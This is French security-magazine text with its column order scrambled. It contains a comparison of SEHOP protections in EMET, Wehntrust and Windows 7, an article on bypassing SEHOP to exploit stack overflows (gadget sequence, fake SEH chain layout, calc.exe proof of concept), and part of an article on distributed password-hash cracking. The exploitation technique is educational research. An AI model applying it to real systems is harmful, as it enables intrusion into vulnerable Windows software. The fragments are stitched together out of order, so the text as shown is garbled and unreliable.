          ((BYTE *)pCurrentHandler->handler)[0x0] <= 0x5F) &&  
        ( ((BYTE *)pCurrentHandler->handler)[0x1] >= 0x58 && //POP
          ((BYTE *)pCurrentHandler->handler)[0x1] <= 0x5F) &&
          ((BYTE *)pCurrentHandler->handler)[0x2] == 0xC3)  //RET
      {
              return 0x0;
      }                                  
       
       return 0x1;
}

: 
sur un octet vers laquelle se fera le saut. 

Vérifions donc que ce champ ne cor-
respond pas à un JMP SHORT qui au-
rait pour but de sauter sur un shellcode :

Bien, je pense avoir fait le tour de la protection, du 
moins de la façon de l'implémenter. Je posterai sur 
mon blog [0] les sources complète de mon tool.
Dès à présent essayons d'analyser les autres 
outils mettant en œuvre cette protection.

La protection SeHOP chez cer-
tains logiciels
eMet VS Wehntrust

J'ai récemment découvert deux logiciels 
qui implémentaient cette protection. En 
fait ces logiciels mettent en œuvre d'autres 
protections comme l'ASLR [6] ou en-
core la prévention des Fomat Strings [7].

J'ai donc décidé de faire l'analyse de l'im-
plémentation de la protection SEHOP chez 
ces outils et d'en faire un bilan comparatif.
Pour chaque logiciel je vais m'in-
téresser aux points suivants :

BYTE CheckJMPSHORT(PEXCEPTION_REGISTRATION pCurrentHandler){
  if(((DWORD)pCurrentHandler->prev & 0x00FF0000) == 0x00EB0000 ||
   ((DWORD)pCurrentHandler->prev & 0x0000FF00) == 0x0000EB00 ||
   ((DWORD)pCurrentHandler->prev & 0x000000FF) == 0x000000EB)
   {
     return 0x0;
   }
  return 0x1;
}

: 
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Autres vérifications :

C'est là je pense un des points faibles 
de EMET, aucune vérification n'est faite 
sur les registres, l'état de la pile, etc...

La « randomization » de l'adresse du SEH de 
validation:

Un point positif, EMET rend bien aléa-
toire l'adresse du SEH de validation.

La détection d'une éventuelle exploitation :

Vérification de la validité de la chaine des SEHs.
L'algorithme de vérification de la validi-
té de la liste chainée est assez simple chez 
EMET. Voici le désassemblage commenté :

Pour faire simple, EMET parcourt la liste des 
SEH en vérifiant à chaque fois si le champ 
prev est valide jusqu'à arriver à son propre 
SEH de validation. Si ce champ n'est pas va-
lide, alors EMET termine le programme.

- La détection des exceptions.
- La détection d'une éventuelle exploitation 
(Vérification de la validité de la liste chainée 
des SEH, du registre EBP, etc...).
- La « randomization » (aléatoire) de 
l'adresse du handler SEH de validation de la 
DLL.
- La gestion du multi-threading.

a. eMet [9]

EMET permet de protéger un exécutable qu'on 
doit spécifier à EMET_config.exe. Il utilise alors 
l' Image File Execution Option [8]. L'application 
que l'on spécifie va se voir injecter EMET.DLL.

La détection des exceptions :

Je vais tout d'abord m'intéresser à la fa-
çon dont EMET détecte les exceptions. 
Je pense que là EMET marque un 
point. Pour comprendre voici la fonc-
tion ExecuteHandler() désassemblée : 

C'est l'instruction CALL ECX qui se charge nor-
malement d'appeler le handler mais EMET.dll va 
modifier l'adresse du handler en EBP+arg_10 
soit en EBP+18h par l'adresse de sa propre 
fonction de vérification. De cette façon elle est 
sure de détecter vraiment toutes les exceptions.
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plus. Seulement je n'ai ici que étudié l'implémen-
tation de SEHOP et, l'ASLR pouvant être désac-
tivée, ceci devient une lacune pour Wehntrust !

d. La gestion du multi-threading :

Quant à la gestion du multi-threading, 
il n'y à aucun problème de ce côté là.

L'implémentation de windows 
Seven.
Essayons de voir maintenant comment 
le nouveaux système d'exploitation Win-
dows Seven intègre cette protection.

Premièrement, ce système va comme EMET 
et Wehntrust définir un handler SEH en fin de 
chaine. L'état de la pile ci-dessous en témoigne :

Ensuite je vous propose de jeter un œil 
à la fonction RtlDispatchException(). 

le code ci-dessous Current->Next) pointe bien 
vers une adresse valide :

Maintenant si un bug est trouvé, dans tous les 
cas la fonction renverra FALSE, mais il tente 
tout de même de voir si un JMP SHORT est pré-
sent sur le pointeur prev de la structure SEH. Ce 
qui est souvent le cas lors d'une exploitation :

Autres vérifications :

Contrairement à EMET, wehntrust pour détec-
ter une exploitation vérifie la valeur de EBP. 
En effet si l'instruction POP EBP est exécutée 
après un débordement de tampon, le registre 
EBP risque de contenir un valeur incorrecte 
(0x41414141 par exemple). De ce fait il ne 
pointe plus vers la pile comme il se doit de faire.
Cette opération est effectuée par la fonction 
CheckExploitationAttempt() dans NRER.c :
Wehntrust récupère les adresses de 
début et de fin de la pile et regarde 
si EBP pointe bien dans la région 
contenue entre ces deux adresses.

L'adresse du SEH de validation rendue 
aléatoire:

Wehntrust ne rend pas aléatoire l'adresse 
du SEH de validation. Celui-ci se trouve 
dans la section .data. Bien entendu lorsque la 
protection ASLR est activée, le problème n'est 

d. La gestion du multi-threading :

J'ai testé de voir si un débordement de tampon 
ayant lieu dans un autre thread que le prin-
cipale (main thread) été détecté par EMET et 
je vois qu'il n'y a aucun problème pour cela.

B.Wehntrust [10]

L'avantage avec wehntrust est que ce 
software est opensource. Mieux encore, 
les sources sont très bien commentées.

La détection des exceptions :

On commence par un aspect légèrement né-
gatif de cet outil. Sa détection des exception 
est basé sur le hook de KiUserExceptionDispat-
cher() (le désassemblage suivant en témoigne) 
et nous avons vu que ce n'était pas très pru-
dent vis-à-vis de RaiseException(). Bien que je 
ne pense pas que ce soit vraiment dangereux. 
Sait-on jamais...

La détection d'une éventuelle exploitation :

Comme EMET, wehntrust va définir son propre 
handler en fin de la liste. Ainsi lors d'une ex-
ception il parcourt les structures SEH jusqu'à 
tomber sur la sienne. C'est la fonction IsSeh-
ChainValid() de SEH.c qui correspond à ceci. A 
chaque SEH il va vérifier si le champ prev (dans 
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duit par deux conditions (voir ci-dessus):
Et la boucle s'effectue tant que le SEH défini 
par le système lui-même n'a pas été trouvé :

J'en arrive donc à vous propo-
ser un pseudo-code de cette boucle :

Je terminerai donc toutes ces analyses par 
un tableau comparatif des différentes implé-
mentations de SEHOP (voir page d'après).

bien vers un espace de donnée dans la pile :

C'est une restriction un peu osée il me semble, 
car nous l'avons vu il est possible de déclarer 
un handler SEH de bas niveau hors de la pile. 
C'est ce que nous, EMET et Wehntrust faisons.
Pour continuer il faut que la fonction servant 
de handler soit hors de la pile ce qui est tra-

Voici ce que l'on peut observer au début de celle-ci : 

Les limites de la pile sont récupérées grâce à la 
fonction RtlpGetStackLimits(). En fait l'adresse 
du début de la pile peut s'obtenir en FS:[4] et 
l'adresse de fin en FS:[8].
Suit un appel à la fonction RtlpGetRegis-
trationHead() qui permet de récupérer un 
pointeur vers le SEH courant via FS:[0].
Si nous continuons nous pouvons aperce-
voir une séquence d'instructions constituant 
en fait une boucle qui se doit de parcou-
rir la liste chainée des SEH en vérifiant que 
chaque pointeur prev vers la structure EX-
CEPTION_REGISTRATION précédente pointe 

boucle:
 SI PREV < StackBase
    SAUTE pas_bon
SI PREV > StackTop
    SAUTE pas_bon
SI HANDLER < StackBase
    SAUTE OK
SI HANDLER > StackBase
    SAUTE pas_bon
OK:
SI HANDLER != 0xFFFFFFFF
    CONTINUE boucle
SI HANDLER == SYSTEM_HANDLER
    SAUTE bon

: 
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[8] http://blogs.msdn.com/greggm/ar-
chive/2005/02/21/377663.aspx

[9 ] http://blogs.technet.com/srd/ar-
chive/2009/10/27/announcing-the-release-of-
the-enhanced-mitigation-evaluation-toolkit.
aspx

http://www.microsoft.com/downloads/details.
aspx?FamilyID=4a2346ac-b772-4d40-a750-
9046542f343d&displaylang=en

[10] http://www.codeplex.com/wehntrust
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Conclusion :
Je pense avoir fait le tour de cette protec-
tion de manière assez claire et précise. J'au-
rais aimé pouvoir vous présenter une tech-
nique générique pour outrepasser le SEHOP 
mais je pense que cela est presque impos-
sible. Après il faut s'intéresser au cas par cas...
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 Principe du SeHOP
Le SEHOP est une extension au 
gestionnaire d'exception SEH, il 
permet de valider, en plus des 
gestionnaires d'exception (com-
munément appelé « excep-
tion handler »), leur chaînage.
Prenons un programme classique, 
qui intègre plusieurs SEHs, cela 
nous donne la chaîne de gestion-
naires d'exception ci-dessous.

Chaque structure SEH pointe 
sur la structure suivante et le 
dernier SEH Handler pointe 
vers ntdll!_except_handler4. 

Lors d'une exploitation classique 
le « Next SEH » sert à stocker un 
« JMP $+06 » et le SEH Handler 
pointe sur les intructions « POP 
POP RET » d'un module non Safe 
SEH. On fait vite mais si vous lisez 
cet article c'est que vous avez déjà 
exploité ce type de buffer overflow.

L'algorithme de vérification a été 
exposé dans une conférence pré-
sentée à la Black Hat 2008 par A. 
Sotirov et M. Dowd [3], reprenons-
en les grandes lignes afin de po-
ser les contraintes d'exploitation.

ByPaSSiNG SeHOP
par Heurs & Virtualabs

Microsoft a implémenté dernièrement dans Windows une nouvelle sé-
curité, elle s'appelle «Structured Exception Handling Overwrite Pro-
tection », ou « SEHOP » qui empêche l'exploitation par réécriture 
de gestionnaires d'exception. Serait-ce la fin des stack overflows ? 
Non ! Nous allons démontrer au long de cet article que cet ajout est 
certes très efficace mais que la sécurité à 100% n'existe toujours pas..
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Nous avons donc un certain nombre 
de points à respecter si on veut ex-
ploiter correctement le bouzin:

 - le gestionnaire d'exception (« handler ») 
doit pointer sur une image non SafeSEH
 - la page mémoire doit être exécutable
 - les structures SEH doivent être chaînées 
jusqu'à la dernière ayant le « Next SEH » à 
0xFFFFFFFF
 - toutes les structures « Next SEH » doivent 
être alignées sur 4 octets
 - Le dernier SEH handler doit pointer sur 
ntdll! FinalExceptionHandler
 - tous les pointeurs SEH doivent être situés 
sur la pile.

exploitation du stack overflow 
avec SeHOP
Dans une exploitation classique, l'exploitation 
suit le schéma suivant:

 BOOL RtlIsValidHandler(handler)
{
if (handler is in an image) {
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE;
if (image has a SafeSEH table)
if (handler found in the table)
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonly flag set)
return FALSE;
// fall through
}
if (handler is on a non-executable page) {
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE;
else
raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
}
if (handler is not in an image) {
if (ImageDispatchEnable bit set in the process flags)
return TRUE;
else
return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}

[...]

// Skip the chain validation if the DisableExceptionChainValidation bit is set
if (process_flags & 0x40 == 0) {
// Skip the validation if there are no SEH records on the linked list
if (record != 0xFFFFFFFF) {
// Walk the SEH linked list
do {

: 
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Cependant, en réalisant cette exploitation, le 
chaînage SEH est cassé :

Les deux octets à 0x90 ne sont jamais exé-
cutés ce qui nous laisse donc le contrôle des 
16 bits de poids fort. Nous pouvons donc 
y placer les 16 bits d'adresse de la pile, 
de manière à créer un faux chaînage SEH.

Il nous reste donc deux octets, 0xEB et 0x06, 
ce dernier pouvant être remplacé par la va-
leur que nous souhaitons. 0xEB représen-
tant l'instruction JMP (saut signé avec off-
set relatif codé sur 1 octet), nous sauterons 
dans le pire des cas à +127 ou -127 octets. 
Nous devons donc contrôler un maximum 
de 254 octets autour de notre structure SEH 
afin de pouvoir contrôler le flux d'instructions 
sur lesquels nous serons amenés à sauter.

Il ne nous reste plus que le 0xEB à remplacer. En 
effet, il ne correspond pas à la norme de chaî-
nage, car 0xEB n'est pas un multiple de 4 et ne 
correspond donc pas à une adresse alignée sur 
4 octets. Il nous faut donc une instruction de 

de la structure SEH, autrement dit sur les pre-
miers octets de cette structure qui dans le cas 
présent contiennent du code exécutable. Ces 
quelques octets provoquent un saut de 6 octets 
(0xEB correspondant à un saut relatif), ce qui 
détourne le flux d'exécution sur le shellcode sui-
vant la structure SEH. C'est bon ? On y retourne !

Le handler de la structure SEH pointe sur une 
séquence « POP POP RET », et le pointeur 
contenant l'adresse de la prochaine structure 
SEH (le premier champ de la structure pré-
sente ici) contient non pas une adresse, mais 
un bout de code exécutable stocké sur 4 octets. 
Lors de l'appel du handler par le gestionnaire 
d'exception de Windows, celui-ci exécute la sé-
quence d'instructions « POP POP RET » et le 
flux d'exécution se trouve redirigé sur l'adresse 

// The record must be on the stack
if (record < stack_bottom || record > stack_top)
goto corruption;
// The end of the record must be on the stack
if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_
top)
goto corruption;
// The record must be 4 byte aligned
if ((record & 3) != 0)
goto corruption;
handler = record->handler;
// The handler must not be on the stack
if (handler >= stack_bottom && handler < stack_top)
goto corruption;
record = record->next;
} while (record != 0xFFFFFFFF);
// End of chain reached
// Is bit 9 set in the TEB->SameTebFlags field? This bit is set in
// ntdll!RtlInitializeExceptionChain, which registers
// FinalExceptionHandler as an SEH handler when a new thread starts.
if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
// The final handler must be ntdll!FinalExceptionHandler
if (handler != &FinalExceptionHandler)
goto corruption;
}
}
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contourner la protection SEHOP à distance.

Proof Of Concept
Nous avons créé un programme pour illustrer 
l'exploitation. Ce programme a comme unique 
but de recopier le contenu du fichier «OwnMe.
txt » dans la pile du processus. Les données 

à copier étant plus grandes que la taille 
de la pile nous lèverons une exception.

Nous allons donc devoir :
 - recréer un chainage SEH valide

 - faire en sorte que le handler de la der-
nière structure pointe sur la fonction 
ntdll!FinalExceptionHandler
 - placer un shellcode compatible Windows 
7 (payload)

Le flag Z est positionné à 1 par le XOR EAX,EAX 
et notre « POP POP RET » est exécuté.
Si l'adresse du SEH est à 0x0022FD48 
nous plaçons en tant que « Next SEH » un 
0x0022FD74. Nous considérons que nous 
pouvons écraser jusqu'à 254 octets sous la 
structure SEH. Nous pouvons donc recréer 
une structure SEH à l'adresse 0x0022FD74. 
Cette structure sera composée comme ceci:

Le problème majeur de cette exploitation réside 
dans le fait que la bibliothèque de fonctions ntdll.
dll est sujette à un aléa au niveau de son Image-
Base, dû à la protection ASLR héritée de Vista. 
A chaque démarrage du système, l'ImageBase 
de cette DLL est choisie de manière aléatoire, 
et l'adresse de ntdll!FinalExceptionHandler 
est donc difficile à trouver. Cette rando-
misation est effectuée sur 9 bits, les va-
leurs de l'ImageBase vont de 0x76000000 
à 0x77FF0000 (29 = 512 possibilités).

Ce point est le plus problématique pour une ex-
ploitation à distance, en effet nous devrons uni-
quement nous baser sur une adresse avec une 
forte probabilité d'apparition pour avoir plus de 
chances de réussite. En revanche si nous obte-
nons d'une façon ou d'une autre l'ImageBase 
de ntdll, nous pourrons sans aucun problème 

saut ayant comme code opération une valeur 
multiple de 4. L'instruction la plus propice à ef-
fectuer un saut relatif est le JE (code opération 
de 0x74). 0x74 est bien un multiple de 4 ;-). 
Seulement, pour sauter il faudra nécessaire-
ment que le flag Z du registre EFLAGS soit à 1, 
sans quoi le saut ne s'effectuera pas (c'est un 
saut conditionnel). Le gestionnaire d'exception 
ne positionnant pas ce flag, nous allons devoir le 
faire manuellement grâce à l'adresse du handler.

En plus de pointer sur l'adresse d'un « POP 
POP RET » nous allons donc devoir ini-
tialiser le flag Z à 1 via une instruction si-
tuée avant la séquence « POP POP RET ». 
L'instruction la plus à même de respecter 
cette contrainte est l'instruction « XOR ».
Dans beaucoup de fonctions écrites en C, la va-
leur retournée peut être nulle, et il est donc 
fréquent de trouver la séquence suivante:

Ce code équivaut à un «return 0;» en C.

XOR EAX,EAX
POP EBX
POP ESI
RETN

: 

Next SEH : 0xFFFFFFFF
SEH Handler : ntdll!FinalExceptionHandler: 

Challenge 0x41414141
Si vous êtes en quête d'un challenge de hack, 
vous pouvez tester ce site.
D'apparence assez mystérieuse, il se 
contente de fournir un dump hexadécimal 
sans aucune instruction pour l'exploiter.

http://www.0x41414141.com/
http://ph33rbot.com/

WTF ?!

 Le code assembleur produit par les compi-
lateurs tels GCC ou le compilateur de Visual 

Studio varie du tout au tout, selon les conven-
tions d'appels ainsi que les optimisations. 
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dans ntdll.dll, ntdll!FinalExceptionHandler. 
Pour terminer, deux instructions de saut sont 
placées avant chaque structure SEH, et un 
shellcode est placé après la seconde structure.
Lors de l'exploitation, le flux d'exécu-
tion empruntera donc le chemin suivant :

à ce qu'il pointe sur notre séquence « XOR, 
POP, POP, RET ». La seconde structure SEH 
ne pointe sur aucune autre structure SEH, et 
a donc son premier champ à 0xFFFFFFFF, et 
son second champ prend pour valeur l'adresse 
du dernier gestionnaire d'exception situé 

 - trouver l'adresse d'une séquence « XOR, 
POP, POP, RET »

Commençons par l'adresse de la séquence « 
XOR, POP, POP, RET ». Étant donné le cadre 
de recherche,nous avons placé nous même 
ces instructions, partant du postulat que cette 
séquence a une très forte probabilité d'ap-
parition dans des programmes relativement 
complexes. Cependant, le nôtre étant très 
simple, ce fut une précaution prise. Nous avons 
donc nos instructions à l'adresse suivante :

Lors du crash nous avons la structure SEH à 
l'adresse :

Pour la construction du chaînage SEH mal-
veillant, nous recréons une seconde structure 
sur la pile, stockée à l'adresse 0x0012F774, et 
nous faisons pointer le premier SEH sur cette 
seconde structure (via le premier paramètre 
de la structure). Nous paramétrons le han-
dler de la première structure SEH de manière 

004018E1 |. 33C0 XOR EAX,EAX
004018E3 |. 58 POP EAX
004018E4 |. 58 POP EAX
004018E5 \. C3 RETN

: 

0012F700 41414141 Pointer to next 
SEH record  
0012F704 41414141 SE handler
: 
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Le shellcode est bien entendu com-
patible avec Windows 7. Vous trou-
verez l'exploit dans le fichier zip [4].

Dans le cadre de la preuve de 
concept, le shellcode lancera calc.exe. 

Conclusion
Nous avons cherché à mettre en évidence le fait 
qu'une protection seule ne suffit pas et que le 
SEHOP n'est pas une protection ultime. En effet, 
depuis que cette extension au SafeSEH est pa-
rue, trop de gens la considèrent comme invio-
lable. Nous venons de démontrer qu'il est pos-
sible de la contourner sous certaines conditions.

Cela dit, le SEHOP reste un excellent système 
de protection natif apportant une réelle sécu-
rité aux applications, lorsqu'il est couplé avec la 
randomisation des adresses (ASLR) et au DEP.

Heurs (heurs@ghostsinthestack.org)
Virtualabs (d.cauquil@sysdream.com)

Crédits
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http://virtualabs.fr/
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Constat
« Networks are everywhere » 
Potentiellement une infinité de 
machines accessibles à distance 
Puissance de calcul souvent 
inutilisée

Objectifs
Rédaction rapide de pro-
grammes de calculs distribués 
adaptables à de nombreuses de 
situations 

L'encyclopédie donne pour dé-
finition : « Le calcul distribué 
consiste à répartir un calcul ou 
un système sur plusieurs ordi-
nateurs distincts ». Il faudrait y 
ajouter la notion d'utilisation de 
réseaux informatiques pour coor-

donner les différents éléments.

Un autre réseau offrant des res-
sources incomparables est bien 
sûr internet. Rien n'empêche de 
construire des applications de 
calcul distribué destinées a inter-
net. Il faudra cependant pendant 
la conception du protocole de 
communication et de répartition 
de charge prendre en compte les 
caractéristiques particulières de ce 
réseau : latence plus grande, plus 
grande probabilité de déconnexion, 
utilisateurs malveillants, etc... De 
la même manière un grand nombre 
de clients impliquera de conce-
voir un protocole de communica-
tion plus léger,  capable d'adapter 
les échanges en fonction de l'oc-
cupation de la bande passante.

SyStèMe De 
CraCK DiStriBué

par g0uZ

La communication via les réseaux ethernet, wifi ou encore blue-
tooth est devenu monnaie courante. Il n'est pas rare de voir des PC 
équipés à l'achat de plusieurs interfaces réseaux. Les FAI fournis-
sent désormais de réels routeurs pour les abonnements de type « 
triple play » (internet, télévision, téléphone). Ces équipements met-
tent immédiatement à disposition de leurs utilisateurs un réseau 
local relativement performant. Il suffit de brancher deux machines 
sur ce réseau pour pouvoir commencer à faire du calcul distribué.
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Système Distribué

état de l'art 

A l'heure ou vous lisez ces lignes des centaines 
voire même des milliers de systèmes distri-
bués sont en plein travail. Dans le monde du 
libre, BOINC (Berkeley Open Infrastructure 
for Network Computing), développé à l'uni-
versité de Berkeley en Californie, est l'un des  
plus connus. Un des projets les plus populaires 
fonctionnant avec cet architecture est « SETI@
home » (Search for Extra-Terrestrial Intelli-
gence) qui consiste comme son nom l'indique 
à la recherche d'intelligence extra-terrestre.

Revenons à notre le sujet : le cassage. Kostas 
Evangelinos à développé le logiciel Medussa qui 
comme notre exemple, permet de faire du cas-
sage distribué. Malheureusement le dévelop-
pement semble être abandonné depuis 2004.

Du coté des logiciels propriétaires, une société 
semble avoir pris un peu d'avance dans le do-
maine avec le produit « ElcomSoft Distributed 
Password Recovery ». C'est la première ayant 
fait une demande de brevet pour le cassage 
d'empreinte utilisant les GPUs (processeurs de 
carte graphique). Techniques rendues possibles 
par les récentes publications de langages « GPG-
PU » (General-Purpose Processing on Graphics 
Processing Units) par les fabri cants de cartes 

graphiques. Ces langages de programmation 
proches du C permettent d'exploiter la puissance 
des cartes graphiques pour faire des calculs 
gourmands en ressources. Le gain apporté est 
tout de même de l'ordre de la dizaine voir de 
la centaine, ce qui est loin d'être négligeable...

Principaux objectifs
Extensibilité (« scalability ») - un système dis-
tribué doit permettre le passage à l'échelle.
Dans notre exemple, adapter le temps de 
calcul des clients permettra de limiter le débit 
nécessaire et ainsi d'augmenter le nombre de 
clients maximum supportés par le système. 

Ouverture - les composantes des systèmes 
distribués possèdent des interfaces bien 
définies ce qui leur permet d'être facile-
ment extensibles et modifiables. Les ser-
vices web sont un exemple de système dis-
tribué qui possède une grande ouverture.

Hétérogénéité – les composantes peuvent 
être écrites en différents langages sur diffé-
rentes machines. Dans notre exemple le ser-
veur est rédigé en C++ et s'exécute sous 
Unix alors que le client également rédigé en 
C++ peut s'exécuter sur Windows ou Unix.

Accès aux ressources et partage - les sys-
tèmes distribués fournissent un moyen de 

partager les ressources, c'est-à-dire à la fois 
le matériel, le logiciel et les données. Dans 
notre cas d'école nous allons partager entre 
chaque clients, les ressources du processeur, 
celles de la mémoire vive, le(s) module(s) 
de calcul et les informations nécessaires au 
cassage (le « hash » et divers paramètres).

Tolérance aux pannes - Les systèmes distribués 
sont plus tolérant aux pannes que lessystèmes 
centralisés, car ils permettent de répliquer faci-
lement les composantes. Le SPF (« single point 
of failure ») principal reste quand même res-
ponsable de la répartition, la synchronisation 
et de l'enregistrement du résultat des calculs.

Problématique
La problématique majeure du calcul distri-
bué est la répartition des ressources et la 
gestion de la charge. Comment diviser une 
charge de travail trop importante en n pe-
tites taches et comment repartir ces taches 
entre mes clients ? Il n'existe pas de solution 
qui répondrait à ce problème de manière uni-
verselle. Nous pouvons par contre imaginer 
des solutions à notre problème : le cassage.

Les opérations de base du cas-
sage sont en général le suivantes:
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comme une fonction acceptant une donnée en 
entrée et fournissant un « hash » ou « em-
preinte » en français en sortie. Cette sortie est 
de longueur constante. Une bonne fonction 
de hachage possède les propriétés suivantes :

- il est très dur de retrouver la don-
née à partir de son empreinte

- il est très dur de trouver de façon aléa-
toire deux données produisant la même em-
preinte (on parle dans ce cas de collision).

Par « très dur » il faut comprendre très couteux 
en terme de ressources de calcul nécessaire 
pour effectuer l'opération dans un temps raison-
nable. Mais à quoi cela peut-il bien servir ? Par 
exemple à protéger une information considérée 
comme sensible, que l'on veut cacher tout en 
étant capable de la comparer sans la divulguer.

Notions de sel

« Un peu de sel dans votre hash Monsieur ? 
» L'image à beau être amusante elle reste va-
lable. Ajouté dans une fonction de hachage, le 
sel va complexifier la détermination de la don-
née hachée. Il permet d'augmenter l'entropie 
des mots passe en y combinant une donnée 
aléatoire différente pour chacun. Cette donnée 
n'étant pas choisie par l'utilisateur elle peut faire 
plusieurs caractères de long et être tirée dans 
l'ensemble des caractères imprimables. Cela 

passe alpha-numérique d'une longueur conte-
nue entre 1 et 6 caractères sur un Intel core 
2 duo . En extrapolant pour 9 caractères, c'est 
à dire 1 million de fois plus de possibilités, il 
faudrait donc 125 000 jours ! Je pourrai divi-
ser ce temps par deux en achetant une ma-
chine deux fois plus puissante mais il resterai 
62 500 jours = 171 années à attendre que 
ma bête de course casse mon empreinte !

Par contre si j'utilise 1000 machines pour réali-
ser cette tache, le temps nécessaire tombe à 62 
jours... Avec 10 000 machines, une petite se-
maine suffit. En optimisant les calculs (en exploi-
tant la puissance des cartes graphiques) avec des 
langages GPGPU on peut raisonnablement pen-
ser gagner un facteur compris entre 10 et 100...

Casser un hash

Hash et fonctions de hachage

Une fonction de hachage peut être défini 

- une opération mathématique relativement 
complexe

- une comparaison avec un mot de passe 
ou un hash existant

Des opérations tellement « fines » qu'on ne 
peut imaginer les répartir entre plusieurs 
clients et ainsi optimiser le traitement. Il va 
falloir réfléchir à une méthode permettant 
de regrouper ces tâches dans des ensembles 
plus grands, impliquant un temps de calcul 
plus long, évitant ainsi de surcharger inutile-
ment la bande passante offerte par le serveur.

Complexité des mots de passes
Le tableau ci-dessous donne le nombre 
maximum d'essais nécessaires pour trouver 
des mots de passe de longueurs variables.

Pour vous donner une petite idée du temps 
que ça représente, il faut environ 3 heures 
pour casser un hash provenant d'un mot de 

Caractères / Taille maximum 6 caractères 9 caractères

Minuscules ( 26 ) 3.08916e+08 5.4295e+12

Minuscules et majuscules ( 52 ) 1.97706e+10 2.77991e+15

Alpha-numérique (62) 5.68002e+10 1.35371e+16
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ponible page suivante, NDLR)
Cette fonction récursive permet de tes-
ter toutes les chaines de caractères com-
posées des caractères autorisés « parame-
ters->chars_allowed[] » dont la taille est au 
minimum de « parameters->min_size » et 
au maximum de « parameters->max_size » :

Cette algorithme possède la particularité de 
pouvoir « démarrer » avec une chaine vide, ou 
comportant déjà un ou plusieurs caractères.

NB : La méthode de test exhaustive (« brute 
force ») n'est pas (et de loin !) l'algorithme le 
plus optimisé pour cette tâche mais il permet 
d'appréhender le problème du calcul distribué.

L'attaque par dictionnaire
Au lieu de tester la totalité des mots de passe 
pourquoi ne pas dresser une liste des « plus 
probables » ? Cela revient à effectuer une at-
taque par dictionnaire. Il faut établir une liste 
de mot de passe probable. Il faut alors faire 
preuve de perspicacité pour augmenter ces 
chances de réussites. Le mot de passe utilisé 
par une personne habitant en orient à peut de 
chance d'être trouvé dans l'alphabet occiden-
tale... De la même manière certaine applica-
tion demandent de choisir un mot de passe 
de « taille comprise entre x et y caractères 
», réduisant encore l'ensemble des possibles.

nouvelle fois la fonction de hachage md5().
Il faudra bien sur conserver ce sel quelque 
part ainsi que la « formule » permettant de 
retrouver cette empreinte. On remarque bien 
dans ce cas que la taille nécessaire au stoc-
kage d'éventuels tables statiques est multiplié 
par l'ensemble des sel possibles, ici : 2128 c'est 
à dire 1039... Comme je l'expliquai plus haut il 
n'existe pas (à mon sens) de solution miracle 
qui permettent de casser n'importe quel type 
de hash. Chaque cas est particulier, est néces-
site souvent un algorithme particulier pour op-
timiser les chances de réussites de l'attaque.

Comment ?
A chaque application son algorithme.
Comme je l'expliquai plus haut il n'existe pas 
(à mon sens) de solution miracle qui per-
mettent de casser n'importe quel type de 
hash. Chaque cas est particulier, et nécessite 
souvent un algorithme particulier pour op-
timiser les chances de réussites de l'attaque.

La méthode de « bruteforce »
La méthode de « bruteforce », consiste 
très simplement à essayer toutes les solu-
tions du problème jusqu'à trouver la bonne. 
C'est la méthode que nous allons utiliser 
dans notre exemple dans la partie suivante.
(le code de la méthode est dis-

met notamment à mal les techniques basées 
sur la création de table statiques permettant 
de recouvrer instantanément n'importe quelle 
empreinte. Imaginons que vous disposiez d'une 
capacité de stockage gigantesque, quelques di-
zaines de milliers de téraoctets, rien ne vous 
empêcherait de calculer toutes les empreintes 
possibles dont la taille est comprise entre x à y 
caractères alpha-numériques et de les stocker 
pour usage ultérieur. Lorsque qu'un grain de sel 
est ajouté à la fonction de hachage, les tables 
statiques ne servent plus à rien, il faut de nou-
veau recalculer l'ensemble des possibilités...

L'exemple PHP suivant illustre cet technique : 

Une variable contenant un mot de passe est 
transmise au script par la méthode POST. Cette 
variable peut être « hachée simplement » en 
utilisant la fonction md5() qui implémente l'al-
gorithme du même nom. On peut augmenter 
la sécurité du hash en utilisant un grain de sel 
qui est ici représenté par md5( $salt ) . Le ré-
sultat du hash MD5 de $salt va être concaté-
né au mot de passe avant d'y appliquer une 

<?php
$secured_password=md5( $_
POST['password_clair'] );
$salt=time();
$salted_secured_password=md5( $_
GET['password_clair'] . md5( $salt 
) ); ?>

: 
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d'itérations, on obtient un mot de passe en bout 
de chaîne. C'est celui-ci qui est stocké avec le 
mot de passe à l'origine de cette chaîne. Le reste 
de la chaîne n'est pas conservée afin de limiter 
la mémoire nécessaire. Il est toutefois possible 
de les retrouver en calculant l'ensemble de la 
chaîne à partir de l'élément en tête de liste.

On considère une empreinte H engendrée à 
partir d'un mot de passe P. La première étape 
consiste à prendre H, lui appliquer la dernière 
fonction de réduction utilisée dans la table, et 
regarder si ce mot de passe apparaît dans la 
dernière colonne de la table. Si cette occurrence 
n'est pas trouvée alors on peut déduire que l'em-
preinte ne se trouvait pas à la fin de la chaîne 
considérée. Il faut revenir un cran en arrière. 
On reprend H, on lui applique l'avant-dernière 
fonction de réduction, on obtient un nouveau 
mot de passe. On hache ce mot de passe, on 
applique la dernière fonction de réduction et on 
regarde si le mot de passe apparaît dans la table.

Cette procédure itérative se continue jusqu'à ce 
que le mot de passe calculé en fin de chaîne 
apparaisse dans la table (si rien n'est trouvé, 
l'attaque échoue). Une fois le mot de passe dé-
couvert dans la dernière colonne, on récupère 
le mot de passe qui se trouve dans la première 
colonne de la même ligne. On calcule à nou-
veau la chaîne tout en comparant à chaque ité-
ration l'empreinte obtenue à partir du mot de 
passe courant avec l'empreinte H du mot de 

(aussi appelée  table «arc-en-ciel») est 
une structure de données créée en 2003 
par Philippe Oechslin pour retrouver un 
mot de passe à partir de son empreinte.

La table arc-en-ciel est constituée de couples 
de mots de passe (chaque ligne possède un 
mot de passe de départ et un mot de passe 
d'arrivée). Pour calculer la table, on établit des 
chaînes grâce à un mot de passe initial. Celui-ci 
subit une série de réductions et de hachage afin 
d'obtenir des éléments intermédiaires (mots de 
passe et empreintes correspondantes). La fonc-
tion de réduction transforme une empreinte en 
un nouveau mot de passe. Afin d'éviter des 
problèmes de collision, plusieurs fonctions de 
réduction sont utilisées. Après plusieurs milliers 

Adapter le code source fourni en exemple pour 
remplacer la recherche exhaustive par une at-
taque par dictionnaire ne pose aucun problème 
majeur. La répartition de charge peut se faire en 
attribuant des parties plus ou moins grandes du 
dictionnaire en fonction de la capacité de calcul 
